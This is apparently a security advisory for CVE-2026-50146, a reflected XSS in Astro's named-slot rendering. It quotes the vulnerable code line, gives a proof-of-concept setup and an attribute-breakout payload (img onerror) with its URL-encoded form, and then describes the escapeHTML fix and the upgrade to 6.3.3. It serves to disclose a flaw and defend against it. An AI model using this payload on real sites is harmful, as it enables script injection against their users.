CVE-2026-50146: Astro: Reflected XSS via unescaped slot name
Summary
When a component uses a client: directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
ts // component.ts:371 <template data-astro-template${key !== 'default' ? ="${key}" : ''}>${children[key]}</template>
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs js import react from '@astrojs/react'; import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], });
src/pages/index.astro astro --- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- <html><body> <Wrapper client:load> <div slot={slotName}>content</div> </Wrapper> </body></html>
src/components/Wrapper.jsx jsx export default function Wrapper() { return null; }
Payload: abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!-- Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />
This will render in html.
html <template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
ts // component.ts:371 <template data-astro-template${key !== 'default' ? ="${escapeHTML(String(key))}" : ''}>${children[key]}</template>
---
Other sources
Astro is a web framework. Prior to 6.3.3, when a component uses a client: directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/astroto a version that resolves this vulnerability.Fixed in 6.3.3
Event History
Frequently Asked Questions
What is the severity of CVE-2026-50146?
CVE-2026-50146 has a high severity rating of 7.1.
How do I fix CVE-2026-50146?
To mitigate CVE-2026-50146, update the Astro component to a version that properly escapes slot names.
What type of vulnerability is CVE-2026-50146?
CVE-2026-50146 is classified as a Cross-Site Scripting (XSS) vulnerability.
What can an attacker achieve by exploiting CVE-2026-50146?
By exploiting CVE-2026-50146, an attacker can inject arbitrary HTML leading to reflected XSS during server-side rendering.
In which software is CVE-2026-50146 found?
CVE-2026-50146 is found in the npm package 'astro'.